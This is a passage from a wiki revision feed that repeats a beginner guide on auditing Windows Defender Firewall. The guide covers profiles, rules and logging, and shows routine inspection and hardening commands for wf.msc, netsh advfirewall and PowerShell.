{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
None&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== What is a firewall? ==&lt;br /&gt;
&lt;br /&gt;
A firewall is a system that monitors and controls incoming and outgoing network traffic based on a set of rules.&lt;br /&gt;
&lt;br /&gt;
Windows ships with a built-in firewall, officially called Windows Defender Firewall with Advanced Security, often referred to as WFAS, or simply &amp;amp;quot;Windows Firewall&amp;amp;quot;. Windows Firewall runs as a service in the background and filters traffic before it ever reaches the applications running on the system. See the services section to understand how Windows services run.&lt;br /&gt;
&lt;br /&gt;
== Why do we need to audit the firewall? ==&lt;br /&gt;
&lt;br /&gt;
A firewall is only as strong as its configuration. A firewall with no rules, overly permissive rules, or rules that were added by malware or a careless administrator can leave a system just as exposed as having no firewall at all. Issues commonly found during an audit include:&lt;br /&gt;
&lt;br /&gt;
* Rules that allow traffic from any address (&amp;amp;quot;Any&amp;amp;quot; or 0.0.0.0/0) when only a specific IP or subnet should be trusted&lt;br /&gt;
* Unnecessary inbound rules left enabled for programs or ports that are no longer in use&lt;br /&gt;
* Rules created by an installed application that are broader than the application actually needs&lt;br /&gt;
* The firewall being disabled entirely on one or more profiles (see below)&lt;br /&gt;
* Logging being disabled, meaning there is no record of blocked or allowed connections to investigate later&lt;br /&gt;
&lt;br /&gt;
Just like with services, the goal of a firewall audit isn&#039;t to lock everything down blindly. Some inbound and outbound rules are required for the system to function correctly (file sharing, remote management, Windows Update, etc.). The goal is to make sure every rule that exists is necessary, scoped as tightly as possible, and matches what the benchmark or policy for your environment requires.&lt;br /&gt;
&lt;br /&gt;
A great place to start is a STIG or CIS benchmark, which will typically have a section dedicated to firewall configuration and can tell you exactly what should be enabled, disabled, or configured a certain way. A link to at least one benchmark is in the References &amp;amp;amp; Further Reading section below.&lt;br /&gt;
&lt;br /&gt;
== How does the firewall work? ==&lt;br /&gt;
&lt;br /&gt;
=== Profiles ===&lt;br /&gt;
&lt;br /&gt;
Windows Firewall uses the concept of profiles to apply different rules depending on the type of network the computer is connected to. There are three profiles:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Domain&#039;&#039;&#039; - Applied automatically when the computer is connected to a network where it can authenticate to a domain controller (i.e. a corporate/managed network)&lt;br /&gt;
* &#039;&#039;&#039;Private&#039;&#039;&#039; - Applied to networks the user has manually marked as trusted, such as a home or small office network&lt;br /&gt;
* &#039;&#039;&#039;Public&#039;&#039;&#039; - Applied to untrusted networks, such as coffee shop Wi-Fi or any network not marked as Private&lt;br /&gt;
&lt;br /&gt;
Each profile can have its own independent settings: whether the firewall is on or off, the default action for inbound/outbound traffic, and which rules apply. This allows a laptop to be locked down tightly on Public networks but allow more traffic on its home Private network.&lt;br /&gt;
&lt;br /&gt;
=== Rules ===&lt;br /&gt;
&lt;br /&gt;
The firewall&#039;s behavior is defined by rules. Each rule can specify things like:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Direction&#039;&#039;&#039;: Inbound traffic coming into the machine, or Outbound traffic leaving the machine&lt;br /&gt;
* &#039;&#039;&#039;Action&#039;&#039;&#039;: Allow or block a connection&lt;br /&gt;
* &#039;&#039;&#039;Program&#039;&#039;&#039;: Restrict the rule to a specific executable&lt;br /&gt;
* &#039;&#039;&#039;Protocol and Ports&#039;&#039;&#039;: e.g. TCP port 443, UDP port 53&lt;br /&gt;
* &#039;&#039;&#039;Scope&#039;&#039;&#039;: Which local and remote IP addresses the rule applies to&lt;br /&gt;
* &#039;&#039;&#039;Profile&#039;&#039;&#039;: Which of the three profiles (Domain/Private/Public) the rule applies to&lt;br /&gt;
&lt;br /&gt;
By default, Windows Firewall blocks all unsolicited inbound traffic and allows all outbound traffic, then specific rules can be added on top of that baseline. Many built-in rules already exist for core Windows features such as file and printer sharing, remote desktop, network discovery, etc. Rules like these are typically disabled until the corresponding feature is turned on.&lt;br /&gt;
&lt;br /&gt;
=== Logging ===&lt;br /&gt;
&lt;br /&gt;
The firewall can be configured to log dropped packets, successful connections, or both, to a log file. This log is extremely valuable during an audit or an incident investigation, since it provides a record of what the firewall has actually been doing rather than just what it&#039;s configured to do. Logging is disabled by default and is one of the first things to check during an audit, since a benchmark will often require it to be turned on for both allowed and dropped connections.&lt;br /&gt;
&lt;br /&gt;
== Configuring the firewall ==&lt;br /&gt;
&lt;br /&gt;
There are multiple ways to view and configure the Windows Firewall. The main ones are outlined below. It is worth setting up a practice image or testing VM so you can get hands-on experience with each method before touching a production system.&lt;br /&gt;
&lt;br /&gt;
=== Windows Defender Firewall with Advanced Security (wf.msc) ===&lt;br /&gt;
&lt;br /&gt;
This is the GUI tool for configuring Windows Firewall in detail. To open it, search for &amp;amp;quot;Windows Defender Firewall with Advanced Security&amp;amp;quot; in the Windows search bar, or run &amp;lt;code&amp;gt;wf.msc&amp;lt;/code&amp;gt; from the Run dialog or a terminal. From &amp;lt;code&amp;gt;wf.msc&amp;lt;/code&amp;gt; you can:&lt;br /&gt;
&lt;br /&gt;
* View and edit Inbound Rules and Outbound Rules separately&lt;br /&gt;
* Create new rules using a guided wizard with options for program, port, predefined feature, or custom&lt;br /&gt;
* View and edit Connection Security Rules, such as those used for IPsec&lt;br /&gt;
* Check and change the profile level settings (Domain/Private/Public) by right-clicking the root node and selecting Properties, including whether the firewall is on, the default inbound/outbound action, and logging settings&lt;br /&gt;
&lt;br /&gt;
Double clicking any rule in the list brings up its Properties, letting you inspect or change its program, ports, scope, and profile in detail. This is generally the best tool for a manual, visual audit of exactly what rules exist and how they&#039;re scoped.&lt;br /&gt;
&lt;br /&gt;
=== netsh advfirewall ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;netsh&amp;lt;/code&amp;gt; is a long standing command line tool for network configuration, and its &amp;lt;code&amp;gt;advfirewall&amp;lt;/code&amp;gt; context is used specifically for the firewall. &amp;lt;code&amp;gt;netsh&amp;lt;/code&amp;gt; is run from cmd.exe or PowerShell. Some useful examples:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;netsh advfirewall show allprofiles&amp;lt;/code&amp;gt; - shows the state and default settings of all three profiles&lt;br /&gt;
* &amp;lt;code&amp;gt;netsh advfirewall firewall show rule name=all&amp;lt;/code&amp;gt; - lists every configured rule and its properties&lt;br /&gt;
* &amp;lt;code&amp;gt;netsh advfirewall set allprofiles logging droppedconnections enable&amp;lt;/code&amp;gt; - turns on logging of blocked connections for all profiles&lt;br /&gt;
&lt;br /&gt;
A full explanation of every &amp;lt;code&amp;gt;advfirewall&amp;lt;/code&amp;gt; option is out of scope for this article, but running &amp;lt;code&amp;gt;netsh advfirewall firewall show rule name=all help&amp;lt;/code&amp;gt;, or reading the documentation below, will give you a rundown of available options.&lt;br /&gt;
&lt;br /&gt;
=== PowerShell (NetSecurity module) ===&lt;br /&gt;
&lt;br /&gt;
PowerShell has a dedicated set of cmdlets for firewall management, found in the &amp;lt;code&amp;gt;NetSecurity&amp;lt;/code&amp;gt; module. These generally follow the pattern &amp;lt;code&amp;gt;*-NetFirewall*&amp;lt;/code&amp;gt;. Some of the most useful ones for auditing are:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Get-NetFirewallProfile&amp;lt;/code&amp;gt; - shows the settings of each profile, including whether it&#039;s enabled and its default inbound/outbound actions&lt;br /&gt;
* &amp;lt;code&amp;gt;Get-NetFirewallRule&amp;lt;/code&amp;gt; - lists all configured rules; can be piped to &amp;lt;code&amp;gt;Get-NetFirewallPortFilter&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;Get-NetFirewallAddressFilter&amp;lt;/code&amp;gt; to see the specific ports or addresses tied to each rule&lt;br /&gt;
* &amp;lt;code&amp;gt;New-NetFirewallRule&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;Set-NetFirewallRule&amp;lt;/code&amp;gt; - create or modify rules&lt;br /&gt;
* &amp;lt;code&amp;gt;Get-NetFirewallRule -Enabled True -Direction Inbound&amp;lt;/code&amp;gt; - a quick way to filter down to just the active inbound rules, which is often the most important thing to check during an audit&lt;br /&gt;
&lt;br /&gt;
As with any PowerShell cmdlet, you can run &amp;lt;code&amp;gt;Get-Help [command] -Full&amp;lt;/code&amp;gt; for detailed usage and examples.&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
=== References, Further Reading ===&lt;br /&gt;
&lt;br /&gt;
* https://learn.microsoft.com/en-us/windows/security/operating-system-security/network-security/windows-firewall/&lt;br /&gt;
* https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-advfirewall&lt;br /&gt;
* https://learn.microsoft.com/en-us/powershell/module/netsecurity/&lt;br /&gt;
* https://downloads.cisecurity.org/&lt;br /&gt;
* https://learn.microsoft.com/en-us/windows/security/operating-system-security/network-security/windows-firewall/best-practices-configuring&lt;br /&gt;
&lt;br /&gt;
[[Category:Windows Firewall|018]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Firewall_Auditing&amp;diff=250</id>
		<title>Firewall Auditing</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Firewall_Auditing&amp;diff=250"/>
		<updated>2026-10-02T03:52:28Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: Approved by FlyingShrimps: removing the submission notice and Pending review category&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;!-- Migrated from https://cypat.guide/docs/windows/firewall/Firewall_Beginner (source: docs/windows/firewall/Firewall_Beginner.md) --&amp;gt;&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Author(s): brody001301&lt;br /&gt;
&lt;br /&gt;
Last Updated: 07-06-2026&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
None&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== What is a firewall? ==&lt;br /&gt;
&lt;br /&gt;
A firewall is a system that monitors and controls incoming and outgoing network traffic based on a set of rules.&lt;br /&gt;
&lt;br /&gt;
Windows ships with a built-in firewall, officially called Windows Defender Firewall with Advanced Security, often referred to as WFAS, or simply &amp;amp;quot;Windows Firewall&amp;amp;quot;. Windows Firewall runs as a service in the background and filters traffic before it ever reaches the applications running on the system. See the services section to understand how Windows services run.&lt;br /&gt;
&lt;br /&gt;
== Why do we need to audit the firewall? ==&lt;br /&gt;
&lt;br /&gt;
A firewall is only as strong as its configuration. A firewall with no rules, overly permissive rules, or rules that were added by malware or a careless administrator can leave a system just as exposed as having no firewall at all. Issues commonly found during an audit include:&lt;br /&gt;
&lt;br /&gt;
* Rules that allow traffic from any address (&amp;amp;quot;Any&amp;amp;quot; or 0.0.0.0/0) when only a specific IP or subnet should be trusted&lt;br /&gt;
* Unnecessary inbound rules left enabled for programs or ports that are no longer in use&lt;br /&gt;
* Rules created by an installed application that are broader than the application actually needs&lt;br /&gt;
* The firewall being disabled entirely on one or more profiles (see below)&lt;br /&gt;
* Logging being disabled, meaning there is no record of blocked or allowed connections to investigate later&lt;br /&gt;
&lt;br /&gt;
Just like with services, the goal of a firewall audit isn&#039;t to lock everything down blindly. Some inbound and outbound rules are required for the system to function correctly (file sharing, remote management, Windows Update, etc.). The goal is to make sure every rule that exists is necessary, scoped as tightly as possible, and matches what the benchmark or policy for your environment requires.&lt;br /&gt;
&lt;br /&gt;
A great place to start is a STIG or CIS benchmark, which will typically have a section dedicated to firewall configuration and can tell you exactly what should be enabled, disabled, or configured a certain way. A link to at least one benchmark is in the References &amp;amp;amp; Further Reading section below.&lt;br /&gt;
&lt;br /&gt;
== How does the firewall work? ==&lt;br /&gt;
&lt;br /&gt;
=== Profiles ===&lt;br /&gt;
&lt;br /&gt;
Windows Firewall uses the concept of profiles to apply different rules depending on the type of network the computer is connected to. There are three profiles:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Domain&#039;&#039;&#039; - Applied automatically when the computer is connected to a network where it can authenticate to a domain controller (i.e. a corporate/managed network)&lt;br /&gt;
* &#039;&#039;&#039;Private&#039;&#039;&#039; - Applied to networks the user has manually marked as trusted, such as a home or small office network&lt;br /&gt;
* &#039;&#039;&#039;Public&#039;&#039;&#039; - Applied to untrusted networks, such as coffee shop Wi-Fi or any network not marked as Private&lt;br /&gt;
&lt;br /&gt;
Each profile can have its own independent settings: whether the firewall is on or off, the default action for inbound/outbound traffic, and which rules apply. This allows a laptop to be locked down tightly on Public networks but allow more traffic on its home Private network.&lt;br /&gt;
&lt;br /&gt;
=== Rules ===&lt;br /&gt;
&lt;br /&gt;
The firewall&#039;s behavior is defined by rules. Each rule can specify things like:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Direction&#039;&#039;&#039;: Inbound traffic coming into the machine, or Outbound traffic leaving the machine&lt;br /&gt;
* &#039;&#039;&#039;Action&#039;&#039;&#039;: Allow or block a connection&lt;br /&gt;
* &#039;&#039;&#039;Program&#039;&#039;&#039;: Restrict the rule to a specific executable&lt;br /&gt;
* &#039;&#039;&#039;Protocol and Ports&#039;&#039;&#039;: e.g. TCP port 443, UDP port 53&lt;br /&gt;
* &#039;&#039;&#039;Scope&#039;&#039;&#039;: Which local and remote IP addresses the rule applies to&lt;br /&gt;
* &#039;&#039;&#039;Profile&#039;&#039;&#039;: Which of the three profiles (Domain/Private/Public) the rule applies to&lt;br /&gt;
&lt;br /&gt;
By default, Windows Firewall blocks all unsolicited inbound traffic and allows all outbound traffic, then specific rules can be added on top of that baseline. Many built-in rules already exist for core Windows features such as file and printer sharing, remote desktop, network discovery, etc. Rules like these are typically disabled until the corresponding feature is turned on.&lt;br /&gt;
&lt;br /&gt;
=== Logging ===&lt;br /&gt;
&lt;br /&gt;
The firewall can be configured to log dropped packets, successful connections, or both, to a log file. This log is extremely valuable during an audit or an incident investigation, since it provides a record of what the firewall has actually been doing rather than just what it&#039;s configured to do. Logging is disabled by default and is one of the first things to check during an audit, since a benchmark will often require it to be turned on for both allowed and dropped connections.&lt;br /&gt;
&lt;br /&gt;
== Configuring the firewall ==&lt;br /&gt;
&lt;br /&gt;
There are multiple ways to view and configure the Windows Firewall. The main ones are outlined below. It is worth setting up a practice image or testing VM so you can get hands-on experience with each method before touching a production system.&lt;br /&gt;
&lt;br /&gt;
=== Windows Defender Firewall with Advanced Security (wf.msc) ===&lt;br /&gt;
&lt;br /&gt;
This is the GUI tool for configuring Windows Firewall in detail. To open it, search for &amp;amp;quot;Windows Defender Firewall with Advanced Security&amp;amp;quot; in the Windows search bar, or run &amp;lt;code&amp;gt;wf.msc&amp;lt;/code&amp;gt; from the Run dialog or a terminal. From &amp;lt;code&amp;gt;wf.msc&amp;lt;/code&amp;gt; you can:&lt;br /&gt;
&lt;br /&gt;
* View and edit Inbound Rules and Outbound Rules separately&lt;br /&gt;
* Create new rules using a guided wizard with options for program, port, predefined feature, or custom&lt;br /&gt;
* View and edit Connection Security Rules, such as those used for IPsec&lt;br /&gt;
* Check and change the profile level settings (Domain/Private/Public) by right-clicking the root node and selecting Properties, including whether the firewall is on, the default inbound/outbound action, and logging settings&lt;br /&gt;
&lt;br /&gt;
Double clicking any rule in the list brings up its Properties, letting you inspect or change its program, ports, scope, and profile in detail. This is generally the best tool for a manual, visual audit of exactly what rules exist and how they&#039;re scoped.&lt;br /&gt;
&lt;br /&gt;
=== netsh advfirewall ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;netsh&amp;lt;/code&amp;gt; is a long standing command line tool for network configuration, and its &amp;lt;code&amp;gt;advfirewall&amp;lt;/code&amp;gt; context is used specifically for the firewall. &amp;lt;code&amp;gt;netsh&amp;lt;/code&amp;gt; is run from cmd.exe or PowerShell. Some useful examples:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;netsh advfirewall show allprofiles&amp;lt;/code&amp;gt; - shows the state and default settings of all three profiles&lt;br /&gt;
* &amp;lt;code&amp;gt;netsh advfirewall firewall show rule name=all&amp;lt;/code&amp;gt; - lists every configured rule and its properties&lt;br /&gt;
* &amp;lt;code&amp;gt;netsh advfirewall set allprofiles logging droppedconnections enable&amp;lt;/code&amp;gt; - turns on logging of blocked connections for all profiles&lt;br /&gt;
&lt;br /&gt;
A full explanation of every &amp;lt;code&amp;gt;advfirewall&amp;lt;/code&amp;gt; option is out of scope for this article, but running &amp;lt;code&amp;gt;netsh advfirewall firewall show rule name=all help&amp;lt;/code&amp;gt;, or reading the documentation below, will give you a rundown of available options.&lt;br /&gt;
&lt;br /&gt;
=== PowerShell (NetSecurity module) ===&lt;br /&gt;
&lt;br /&gt;
PowerShell has a dedicated set of cmdlets for firewall management, found in the &amp;lt;code&amp;gt;NetSecurity&amp;lt;/code&amp;gt; module. These generally follow the pattern &amp;lt;code&amp;gt;*-NetFirewall*&amp;lt;/code&amp;gt;. Some of the most useful ones for auditing are:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Get-NetFirewallProfile&amp;lt;/code&amp;gt; - shows the settings of each profile, including whether it&#039;s enabled and its default inbound/outbound actions&lt;br /&gt;
* &amp;lt;code&amp;gt;Get-NetFirewallRule&amp;lt;/code&amp;gt; - lists all configured rules; can be piped to &amp;lt;code&amp;gt;Get-NetFirewallPortFilter&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;Get-NetFirewallAddressFilter&amp;lt;/code&amp;gt; to see the specific ports or addresses tied to each rule&lt;br /&gt;
* &amp;lt;code&amp;gt;New-NetFirewallRule&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;Set-NetFirewallRule&amp;lt;/code&amp;gt; - create or modify rules&lt;br /&gt;
* &amp;lt;code&amp;gt;Get-NetFirewallRule -Enabled True -Direction Inbound&amp;lt;/code&amp;gt; - a quick way to filter down to just the active inbound rules, which is often the most important thing to check during an audit&lt;br /&gt;
&lt;br /&gt;
As with any PowerShell cmdlet, you can run &amp;lt;code&amp;gt;Get-Help [command] -Full&amp;lt;/code&amp;gt; for detailed usage and examples.&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
=== References, Further Reading ===&lt;br /&gt;
&lt;br /&gt;
* https://learn.microsoft.com/en-us/windows/security/operating-system-security/network-security/windows-firewall/&lt;br /&gt;
* https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-advfirewall&lt;br /&gt;
* https://learn.microsoft.com/en-us/powershell/module/netsecurity/&lt;br /&gt;
* https://downloads.cisecurity.org/&lt;br /&gt;
* https://learn.microsoft.com/en-us/windows/security/operating-system-security/network-security/windows-firewall/best-practices-configuring&lt;br /&gt;
&lt;br /&gt;
[[Category:Windows Firewall|018]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Firewall_Auditing&amp;diff=247</id>
		<title>Firewall Auditing</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Firewall_Auditing&amp;diff=247"/>
		<updated>2026-10-02T03:47:14Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: FlyingShrimps moved page Draft:Firewall Auditing - Beginner to Firewall Auditing without leaving a redirect: Later on maybe add more citations/references but for now it&amp;#039;s good.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;!-- Migrated from https://cypat.guide/docs/windows/firewall/Firewall_Beginner (source: docs/windows/firewall/Firewall_Beginner.md) --&amp;gt;&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Author(s): brody001301&lt;br /&gt;
&lt;br /&gt;
Last Updated: 07-06-2026&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
None&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== What is a firewall? ==&lt;br /&gt;
&lt;br /&gt;
A firewall is a system that monitors and controls incoming and outgoing network traffic based on a set of rules.&lt;br /&gt;
&lt;br /&gt;
Windows ships with a built-in firewall, officially called Windows Defender Firewall with Advanced Security, often referred to as WFAS, or simply &amp;amp;quot;Windows Firewall&amp;amp;quot;. Windows Firewall runs as a service in the background and filters traffic before it ever reaches the applications running on the system. See the services section to understand how Windows services run.&lt;br /&gt;
&lt;br /&gt;
== Why do we need to audit the firewall? ==&lt;br /&gt;
&lt;br /&gt;
A firewall is only as strong as its configuration. A firewall with no rules, overly permissive rules, or rules that were added by malware or a careless administrator can leave a system just as exposed as having no firewall at all. Issues commonly found during an audit include:&lt;br /&gt;
&lt;br /&gt;
* Rules that allow traffic from any address (&amp;amp;quot;Any&amp;amp;quot; or 0.0.0.0/0) when only a specific IP or subnet should be trusted&lt;br /&gt;
* Unnecessary inbound rules left enabled for programs or ports that are no longer in use&lt;br /&gt;
* Rules created by an installed application that are broader than the application actually needs&lt;br /&gt;
* The firewall being disabled entirely on one or more profiles (see below)&lt;br /&gt;
* Logging being disabled, meaning there is no record of blocked or allowed connections to investigate later&lt;br /&gt;
&lt;br /&gt;
Just like with services, the goal of a firewall audit isn&#039;t to lock everything down blindly. Some inbound and outbound rules are required for the system to function correctly (file sharing, remote management, Windows Update, etc.). The goal is to make sure every rule that exists is necessary, scoped as tightly as possible, and matches what the benchmark or policy for your environment requires.&lt;br /&gt;
&lt;br /&gt;
A great place to start is a STIG or CIS benchmark, which will typically have a section dedicated to firewall configuration and can tell you exactly what should be enabled, disabled, or configured a certain way. A link to at least one benchmark is in the References &amp;amp;amp; Further Reading section below.&lt;br /&gt;
&lt;br /&gt;
== How does the firewall work? ==&lt;br /&gt;
&lt;br /&gt;
=== Profiles ===&lt;br /&gt;
&lt;br /&gt;
Windows Firewall uses the concept of profiles to apply different rules depending on the type of network the computer is connected to. There are three profiles:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Domain&#039;&#039;&#039; - Applied automatically when the computer is connected to a network where it can authenticate to a domain controller (i.e. a corporate/managed network)&lt;br /&gt;
* &#039;&#039;&#039;Private&#039;&#039;&#039; - Applied to networks the user has manually marked as trusted, such as a home or small office network&lt;br /&gt;
* &#039;&#039;&#039;Public&#039;&#039;&#039; - Applied to untrusted networks, such as coffee shop Wi-Fi or any network not marked as Private&lt;br /&gt;
&lt;br /&gt;
Each profile can have its own independent settings: whether the firewall is on or off, the default action for inbound/outbound traffic, and which rules apply. This allows a laptop to be locked down tightly on Public networks but allow more traffic on its home Private network.&lt;br /&gt;
&lt;br /&gt;
=== Rules ===&lt;br /&gt;
&lt;br /&gt;
The firewall&#039;s behavior is defined by rules. Each rule can specify things like:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Direction&#039;&#039;&#039;: Inbound traffic coming into the machine, or Outbound traffic leaving the machine&lt;br /&gt;
* &#039;&#039;&#039;Action&#039;&#039;&#039;: Allow or block a connection&lt;br /&gt;
* &#039;&#039;&#039;Program&#039;&#039;&#039;: Restrict the rule to a specific executable&lt;br /&gt;
* &#039;&#039;&#039;Protocol and Ports&#039;&#039;&#039;: e.g. TCP port 443, UDP port 53&lt;br /&gt;
* &#039;&#039;&#039;Scope&#039;&#039;&#039;: Which local and remote IP addresses the rule applies to&lt;br /&gt;
* &#039;&#039;&#039;Profile&#039;&#039;&#039;: Which of the three profiles (Domain/Private/Public) the rule applies to&lt;br /&gt;
&lt;br /&gt;
By default, Windows Firewall blocks all unsolicited inbound traffic and allows all outbound traffic, then specific rules can be added on top of that baseline. Many built-in rules already exist for core Windows features such as file and printer sharing, remote desktop, network discovery, etc. Rules like these are typically disabled until the corresponding feature is turned on.&lt;br /&gt;
&lt;br /&gt;
=== Logging ===&lt;br /&gt;
&lt;br /&gt;
The firewall can be configured to log dropped packets, successful connections, or both, to a log file. This log is extremely valuable during an audit or an incident investigation, since it provides a record of what the firewall has actually been doing rather than just what it&#039;s configured to do. Logging is disabled by default and is one of the first things to check during an audit, since a benchmark will often require it to be turned on for both allowed and dropped connections.&lt;br /&gt;
&lt;br /&gt;
== Configuring the firewall ==&lt;br /&gt;
&lt;br /&gt;
There are multiple ways to view and configure the Windows Firewall. The main ones are outlined below. It is worth setting up a practice image or testing VM so you can get hands-on experience with each method before touching a production system.&lt;br /&gt;
&lt;br /&gt;
=== Windows Defender Firewall with Advanced Security (wf.msc) ===&lt;br /&gt;
&lt;br /&gt;
This is the GUI tool for configuring Windows Firewall in detail. To open it, search for &amp;amp;quot;Windows Defender Firewall with Advanced Security&amp;amp;quot; in the Windows search bar, or run &amp;lt;code&amp;gt;wf.msc&amp;lt;/code&amp;gt; from the Run dialog or a terminal. From &amp;lt;code&amp;gt;wf.msc&amp;lt;/code&amp;gt; you can:&lt;br /&gt;
&lt;br /&gt;
* View and edit Inbound Rules and Outbound Rules separately&lt;br /&gt;
* Create new rules using a guided wizard with options for program, port, predefined feature, or custom&lt;br /&gt;
* View and edit Connection Security Rules, such as those used for IPsec&lt;br /&gt;
* Check and change the profile level settings (Domain/Private/Public) by right-clicking the root node and selecting Properties, including whether the firewall is on, the default inbound/outbound action, and logging settings&lt;br /&gt;
&lt;br /&gt;
Double clicking any rule in the list brings up its Properties, letting you inspect or change its program, ports, scope, and profile in detail. This is generally the best tool for a manual, visual audit of exactly what rules exist and how they&#039;re scoped.&lt;br /&gt;
&lt;br /&gt;
=== netsh advfirewall ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;netsh&amp;lt;/code&amp;gt; is a long standing command line tool for network configuration, and its &amp;lt;code&amp;gt;advfirewall&amp;lt;/code&amp;gt; context is used specifically for the firewall. &amp;lt;code&amp;gt;netsh&amp;lt;/code&amp;gt; is run from cmd.exe or PowerShell. Some useful examples:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;netsh advfirewall show allprofiles&amp;lt;/code&amp;gt; - shows the state and default settings of all three profiles&lt;br /&gt;
* &amp;lt;code&amp;gt;netsh advfirewall firewall show rule name=all&amp;lt;/code&amp;gt; - lists every configured rule and its properties&lt;br /&gt;
* &amp;lt;code&amp;gt;netsh advfirewall set allprofiles logging droppedconnections enable&amp;lt;/code&amp;gt; - turns on logging of blocked connections for all profiles&lt;br /&gt;
&lt;br /&gt;
A full explanation of every &amp;lt;code&amp;gt;advfirewall&amp;lt;/code&amp;gt; option is out of scope for this article, but running &amp;lt;code&amp;gt;netsh advfirewall firewall show rule name=all help&amp;lt;/code&amp;gt;, or reading the documentation below, will give you a rundown of available options.&lt;br /&gt;
&lt;br /&gt;
=== PowerShell (NetSecurity module) ===&lt;br /&gt;
&lt;br /&gt;
PowerShell has a dedicated set of cmdlets for firewall management, found in the &amp;lt;code&amp;gt;NetSecurity&amp;lt;/code&amp;gt; module. These generally follow the pattern &amp;lt;code&amp;gt;*-NetFirewall*&amp;lt;/code&amp;gt;. Some of the most useful ones for auditing are:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Get-NetFirewallProfile&amp;lt;/code&amp;gt; - shows the settings of each profile, including whether it&#039;s enabled and its default inbound/outbound actions&lt;br /&gt;
* &amp;lt;code&amp;gt;Get-NetFirewallRule&amp;lt;/code&amp;gt; - lists all configured rules; can be piped to &amp;lt;code&amp;gt;Get-NetFirewallPortFilter&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;Get-NetFirewallAddressFilter&amp;lt;/code&amp;gt; to see the specific ports or addresses tied to each rule&lt;br /&gt;
* &amp;lt;code&amp;gt;New-NetFirewallRule&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;Set-NetFirewallRule&amp;lt;/code&amp;gt; - create or modify rules&lt;br /&gt;
* &amp;lt;code&amp;gt;Get-NetFirewallRule -Enabled True -Direction Inbound&amp;lt;/code&amp;gt; - a quick way to filter down to just the active inbound rules, which is often the most important thing to check during an audit&lt;br /&gt;
&lt;br /&gt;
As with any PowerShell cmdlet, you can run &amp;lt;code&amp;gt;Get-Help [command] -Full&amp;lt;/code&amp;gt; for detailed usage and examples.&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
=== References, Further Reading ===&lt;br /&gt;
&lt;br /&gt;
* https://learn.microsoft.com/en-us/windows/security/operating-system-security/network-security/windows-firewall/&lt;br /&gt;
* https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-advfirewall&lt;br /&gt;
* https://learn.microsoft.com/en-us/powershell/module/netsecurity/&lt;br /&gt;
* https://downloads.cisecurity.org/&lt;br /&gt;
* https://learn.microsoft.com/en-us/windows/security/operating-system-security/network-security/windows-firewall/best-practices-configuring&lt;br /&gt;
&lt;br /&gt;
[[Category:Windows Firewall|018]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Firewall_Auditing&amp;diff=246</id>
		<title>Firewall Auditing</title>
